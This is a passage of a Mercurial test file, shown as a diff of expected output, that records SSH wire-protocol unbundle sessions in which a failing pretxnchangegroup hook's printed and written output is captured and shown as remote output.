755 755 i> 0 0\n
756 756 i> foo\n
757 757 i> \n
758 758 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
759 759 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
760 760 i> \x00\x00\x00\x00\x00\x00\x00\x00
761 i> write(2) -> None:
761 i> write(2) -> 2:
762 762 i> 0\n
763 763 i> flush() -> None
764 764 o> readline() -> 2:
765 765 o> 0\n
766 766 o> readline() -> 2:
767 767 o> 1\n
768 768 o> read(1) -> 1: 0
769 769 result: 0
770 770 remote output:
771 771 e> read(-1) -> 232:
772 772 e> adding changesets\n
773 773 e> adding manifests\n
774 774 e> adding file changes\n
775 775 e> added 1 changesets with 1 changes to 1 files\n
776 776 e> ui.write 1\n
777 777 e> ui.write_err 1\n
778 778 e> ui.write 2\n
779 779 e> ui.write_err 2\n
780 780 e> transaction abort!\n
781 781 e> rollback completed\n
782 782 e> abort: pretxnchangegroup.fail hook failed\n
783 783
784 784 testing ssh2
785 785 creating ssh peer from handshake results
786 i> write(171) -> None:
786 i> write(171) -> 171:
787 787 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
788 788 i> hello\n
789 789 i> between\n
790 790 i> pairs 81\n
791 791 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
792 792 i> flush() -> None
793 793 o> readline() -> 62:
794 794 o> upgraded * exp-ssh-v2-0001\n (glob)
795 795 o> readline() -> 4:
796 796 o> 383\n
797 797 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
798 798 o> read(1) -> 1:
799 799 o> \n
800 800 sending unbundle command
801 i> write(9) -> None:
801 i> write(9) -> 9:
802 802 i> unbundle\n
803 i> write(9) -> None:
803 i> write(9) -> 9:
804 804 i> heads 10\n
805 i> write(10) -> None: 666f726365
805 i> write(10) -> 10: 666f726365
806 806 i> flush() -> None
807 807 o> readline() -> 2:
808 808 o> 0\n
809 i> write(4) -> None:
809 i> write(4) -> 4:
810 810 i> 426\n
811 i> write(426) -> None:
811 i> write(426) -> 426:
812 812 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
813 813 i> test\n
814 814 i> 0 0\n
815 815 i> foo\n
816 816 i> \n
817 817 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
818 818 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
819 819 i> \x00\x00\x00\x00\x00\x00\x00\x00
820 i> write(2) -> None:
820 i> write(2) -> 2:
821 821 i> 0\n
822 822 i> flush() -> None
823 823 o> readline() -> 2:
824 824 o> 0\n
825 825 o> readline() -> 2:
826 826 o> 1\n
827 827 o> read(1) -> 1: 0
828 828 result: 0
829 829 remote output:
830 830 e> read(-1) -> 232:
831 831 e> adding changesets\n
832 832 e> adding manifests\n
833 833 e> adding file changes\n
834 834 e> added 1 changesets with 1 changes to 1 files\n
835 835 e> ui.write 1\n
836 836 e> ui.write_err 1\n
837 837 e> ui.write 2\n
838 838 e> ui.write_err 2\n
839 839 e> transaction abort!\n
840 840 e> rollback completed\n
841 841 e> abort: pretxnchangegroup.fail hook failed\n
842 842
843 843 print() output is captured
844 844
845 845 $ cat > .hg/hgrc << EOF
846 846 > [hooks]
847 847 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstdout
848 848 > EOF
849 849
850 850 $ debugwireproto << EOF
851 851 > command unbundle
852 852 > # This is "force" in hex.
853 853 > heads 666f726365
854 854 > PUSHFILE ../initial.v1.hg
855 855 > readavailable
856 856 > EOF
857 857 testing ssh1
858 858 creating ssh peer from handshake results
859 i> write(104) -> None:
859 i> write(104) -> 104:
860 860 i> hello\n
861 861 i> between\n
862 862 i> pairs 81\n
863 863 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
864 864 i> flush() -> None
865 865 o> readline() -> 4:
866 866 o> 384\n
867 867 o> readline() -> 384:
868 868 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
869 869 o> readline() -> 2:
870 870 o> 1\n
871 871 o> readline() -> 1:
872 872 o> \n
873 873 sending unbundle command
874 i> write(9) -> None:
874 i> write(9) -> 9:
875 875 i> unbundle\n
876 i> write(9) -> None:
876 i> write(9) -> 9:
877 877 i> heads 10\n
878 i> write(10) -> None: 666f726365
878 i> write(10) -> 10: 666f726365
879 879 i> flush() -> None
880 880 o> readline() -> 2:
881 881 o> 0\n
882 i> write(4) -> None:
882 i> write(4) -> 4:
883 883 i> 426\n
884 i> write(426) -> None:
884 i> write(426) -> 426:
885 885 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
886 886 i> test\n
887 887 i> 0 0\n
888 888 i> foo\n
889 889 i> \n
890 890 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
891 891 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
892 892 i> \x00\x00\x00\x00\x00\x00\x00\x00
893 i> write(2) -> None:
893 i> write(2) -> 2:
894 894 i> 0\n
895 895 i> flush() -> None
896 896 o> readline() -> 2:
897 897 o> 0\n
898 898 o> readline() -> 2:
899 899 o> 1\n
900 900 o> read(1) -> 1: 0
901 901 result: 0
902 902 remote output:
903 903 e> read(-1) -> 193:
904 904 e> adding changesets\n
905 905 e> adding manifests\n
906 906 e> adding file changes\n
907 907 e> added 1 changesets with 1 changes to 1 files\n
908 908 e> printed line\n
909 909 e> transaction abort!\n
910 910 e> rollback completed\n
911 911 e> abort: pretxnchangegroup.fail hook failed\n
912 912
913 913 testing ssh2
914 914 creating ssh peer from handshake results
915 i> write(171) -> None:
915 i> write(171) -> 171:
916 916 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
917 917 i> hello\n
918 918 i> between\n
919 919 i> pairs 81\n
920 920 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
921 921 i> flush() -> None
922 922 o> readline() -> 62:
923 923 o> upgraded * exp-ssh-v2-0001\n (glob)
924 924 o> readline() -> 4:
925 925 o> 383\n
926 926 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
927 927 o> read(1) -> 1:
928 928 o> \n
929 929 sending unbundle command
930 i> write(9) -> None:
930 i> write(9) -> 9:
931 931 i> unbundle\n
932 i> write(9) -> None:
932 i> write(9) -> 9:
933 933 i> heads 10\n
934 i> write(10) -> None: 666f726365
934 i> write(10) -> 10: 666f726365
935 935 i> flush() -> None
936 936 o> readline() -> 2:
937 937 o> 0\n
938 i> write(4) -> None:
938 i> write(4) -> 4:
939 939 i> 426\n
940 i> write(426) -> None:
940 i> write(426) -> 426:
941 941 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
942 942 i> test\n
943 943 i> 0 0\n
944 944 i> foo\n
945 945 i> \n
946 946 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
947 947 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
948 948 i> \x00\x00\x00\x00\x00\x00\x00\x00
949 i> write(2) -> None:
949 i> write(2) -> 2:
950 950 i> 0\n
951 951 i> flush() -> None
952 952 o> readline() -> 2:
953 953 o> 0\n
954 954 o> readline() -> 2:
955 955 o> 1\n
956 956 o> read(1) -> 1: 0
957 957 result: 0
958 958 remote output:
959 959 e> read(-1) -> 193:
960 960 e> adding changesets\n
961 961 e> adding manifests\n
962 962 e> adding file changes\n
963 963 e> added 1 changesets with 1 changes to 1 files\n
964 964 e> printed line\n
965 965 e> transaction abort!\n
966 966 e> rollback completed\n
967 967 e> abort: pretxnchangegroup.fail hook failed\n
968 968
969 969 Mixed print() and ui.write() are both captured
970 970
971 971 $ cat > .hg/hgrc << EOF
972 972 > [hooks]
973 973 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintandwrite
974 974 > EOF
975 975
976 976 $ debugwireproto << EOF
977 977 > command unbundle
978 978 > # This is "force" in hex.
979 979 > heads 666f726365
980 980 > PUSHFILE ../initial.v1.hg
981 981 > readavailable
982 982 > EOF
983 983 testing ssh1
984 984 creating ssh peer from handshake results
985 i> write(104) -> None:
985 i> write(104) -> 104:
986 986 i> hello\n
987 987 i> between\n
988 988 i> pairs 81\n
989 989 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
990 990 i> flush() -> None
991 991 o> readline() -> 4:
992 992 o> 384\n
993 993 o> readline() -> 384:
994 994 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
995 995 o> readline() -> 2:
996 996 o> 1\n
997 997 o> readline() -> 1:
998 998 o> \n
999 999 sending unbundle command
1000 i> write(9) -> None:
1000 i> write(9) -> 9:
1001 1001 i> unbundle\n
1002 i> write(9) -> None:
1002 i> write(9) -> 9:
1003 1003 i> heads 10\n
1004 i> write(10) -> None: 666f726365
1004 i> write(10) -> 10: 666f726365
1005 1005 i> flush() -> None
1006 1006 o> readline() -> 2:
1007 1007 o> 0\n
1008 i> write(4) -> None:
1008 i> write(4) -> 4:
1009 1009 i> 426\n
1010 i> write(426) -> None:
1010 i> write(426) -> 426:
1011 1011 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1012 1012 i> test\n
1013 1013 i> 0 0\n
1014 1014 i> foo\n
1015 1015 i> \n
1016 1016 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1017 1017 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1018 1018 i> \x00\x00\x00\x00\x00\x00\x00\x00
1019 i> write(2) -> None:
1019 i> write(2) -> 2:
1020 1020 i> 0\n
1021 1021 i> flush() -> None
1022 1022 o> readline() -> 2:
1023 1023 o> 0\n
1024 1024 o> readline() -> 2:
1025 1025 o> 1\n
1026 1026 o> read(1) -> 1: 0
1027 1027 result: 0
1028 1028 remote output:
1029 1029 e> read(-1) -> 218:
1030 1030 e> adding changesets\n
1031 1031 e> adding manifests\n
1032 1032 e> adding file changes\n
1033 1033 e> added 1 changesets with 1 changes to 1 files\n
1034 1034 e> ui.write 1\n
1035 1035 e> ui.write 2\n
1036 1036 e> print 1\n
1037 1037 e> print 2\n
1038 1038 e> transaction abort!\n
1039 1039 e> rollback completed\n
1040 1040 e> abort: pretxnchangegroup.fail hook failed\n
1041 1041
1042 1042 testing ssh2
1043 1043 creating ssh peer from handshake results
1044 i> write(171) -> None:
1044 i> write(171) -> 171:
1045 1045 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1046 1046 i> hello\n
1047 1047 i> between\n
1048 1048 i> pairs 81\n
1049 1049 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1050 1050 i> flush() -> None
1051 1051 o> readline() -> 62:
1052 1052 o> upgraded * exp-ssh-v2-0001\n (glob)
1053 1053 o> readline() -> 4:
1054 1054 o> 383\n
1055 1055 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1056 1056 o> read(1) -> 1:
1057 1057 o> \n
1058 1058 sending unbundle command
1059 i> write(9) -> None:
1059 i> write(9) -> 9:
1060 1060 i> unbundle\n
1061 i> write(9) -> None:
1061 i> write(9) -> 9:
1062 1062 i> heads 10\n
1063 i> write(10) -> None: 666f726365
1063 i> write(10) -> 10: 666f726365
1064 1064 i> flush() -> None
1065 1065 o> readline() -> 2:
1066 1066 o> 0\n
1067 i> write(4) -> None:
1067 i> write(4) -> 4:
1068 1068 i> 426\n
1069 i> write(426) -> None:
1069 i> write(426) -> 426:
1070 1070 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1071 1071 i> test\n
1072 1072 i> 0 0\n
1073 1073 i> foo\n
1074 1074 i> \n
1075 1075 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1076 1076 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1077 1077 i> \x00\x00\x00\x00\x00\x00\x00\x00
1078 i> write(2) -> None:
1078 i> write(2) -> 2:
1079 1079 i> 0\n
1080 1080 i> flush() -> None
1081 1081 o> readline() -> 2:
1082 1082 o> 0\n
1083 1083 o> readline() -> 2:
1084 1084 o> 1\n
1085 1085 o> read(1) -> 1: 0
1086 1086 result: 0
1087 1087 remote output:
1088 1088 e> read(-1) -> 218:
1089 1089 e> adding changesets\n
1090 1090 e> adding manifests\n
1091 1091 e> adding file changes\n
1092 1092 e> added 1 changesets with 1 changes to 1 files\n
1093 1093 e> ui.write 1\n
1094 1094 e> ui.write 2\n
1095 1095 e> print 1\n
1096 1096 e> print 2\n
1097 1097 e> transaction abort!\n
1098 1098 e> rollback completed\n
1099 1099 e> abort: pretxnchangegroup.fail hook failed\n
1100 1100
1101 1101 print() to stdout and stderr both get captured
1102 1102
1103 1103 $ cat > .hg/hgrc << EOF
1104 1104 > [hooks]
1105 1105 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hookprintstderrandstdout
1106 1106 > EOF
1107 1107
1108 1108 $ debugwireproto << EOF
1109 1109 > command unbundle
1110 1110 > # This is "force" in hex.
1111 1111 > heads 666f726365
1112 1112 > PUSHFILE ../initial.v1.hg
1113 1113 > readavailable
1114 1114 > EOF
1115 1115 testing ssh1
1116 1116 creating ssh peer from handshake results
1117 i> write(104) -> None:
1117 i> write(104) -> 104:
1118 1118 i> hello\n
1119 1119 i> between\n
1120 1120 i> pairs 81\n
1121 1121 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1122 1122 i> flush() -> None
1123 1123 o> readline() -> 4:
1124 1124 o> 384\n
1125 1125 o> readline() -> 384:
1126 1126 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
1127 1127 o> readline() -> 2:
1128 1128 o> 1\n
1129 1129 o> readline() -> 1:
1130 1130 o> \n
1131 1131 sending unbundle command
1132 i> write(9) -> None:
1132 i> write(9) -> 9:
1133 1133 i> unbundle\n
1134 i> write(9) -> None:
1134 i> write(9) -> 9:
1135 1135 i> heads 10\n
1136 i> write(10) -> None: 666f726365
1136 i> write(10) -> 10: 666f726365
1137 1137 i> flush() -> None
1138 1138 o> readline() -> 2:
1139 1139 o> 0\n
1140 i> write(4) -> None:
1140 i> write(4) -> 4:
1141 1141 i> 426\n
1142 i> write(426) -> None:
1142 i> write(426) -> 426:
1143 1143 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1144 1144 i> test\n
1145 1145 i> 0 0\n
1146 1146 i> foo\n
1147 1147 i> \n
1148 1148 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
1149 1149 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
1150 1150 i> \x00\x00\x00\x00\x00\x00\x00\x00
1151 i> write(2) -> None:
1151 i> write(2) -> 2:
1152 1152 i> 0\n
1153 1153 i> flush() -> None
1154 1154 o> readline() -> 2:
1155 1155 o> 0\n
1156 1156 o> readline() -> 2:
1157 1157 o> 1\n
1158 1158 o> read(1) -> 1: 0
1159 1159 result: 0
1160 1160 remote output:
1161 1161 e> read(-1) -> 216:
1162 1162 e> adding changesets\n
1163 1163 e> adding manifests\n
1164 1164 e> adding file changes\n
1165 1165 e> added 1 changesets with 1 changes to 1 files\n
1166 1166 e> stderr 1\n
1167 1167 e> stderr 2\n
1168 1168 e> stdout 1\n
1169 1169 e> stdout 2\n
1170 1170 e> transaction abort!\n
1171 1171 e> rollback completed\n
1172 1172 e> abort: pretxnchangegroup.fail hook failed\n
1173 1173
1174 1174 testing ssh2
1175 1175 creating ssh peer from handshake results
1176 i> write(171) -> None:
1176 i> write(171) -> 171:
1177 1177 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
1178 1178 i> hello\n
1179 1179 i> between\n
1180 1180 i> pairs 81\n
1181 1181 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
1182 1182 i> flush() -> None
1183 1183 o> readline() -> 62:
1184 1184 o> upgraded * exp-ssh-v2-0001\n (glob)
1185 1185 o> readline() -> 4:
1186 1186 o> 383\n
1187 1187 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
1188 1188 o> read(1) -> 1:
1189 1189 o> \n
1190 1190 sending unbundle command
1191 i> write(9) -> None:
1191 i> write(9) -> 9:
1192 1192 i> unbundle\n
1193 i> write(9) -> None:
1193 i> write(9) -> 9:
1194 1194 i> heads 10\n
1195 i> write(10) -> None: 666f726365
1195 i> write(10) -> 10: 666f726365
1196 1196 i> flush() -> None
1197 1197 o> readline() -> 2:
1198 1198 o> 0\n
1199 i> write(4) -> None:
1199 i> write(4) -> 4:
1200 1200 i> 426\n
1201 i> write(426) -> None:
1201 i> write(426) -> 426:
1202 1202 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
1203 1203 i> test\n
1204 1204 i> 0 0\n
1205 1205 i> foo\n
1206 1206 i> \n
1207 1207 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
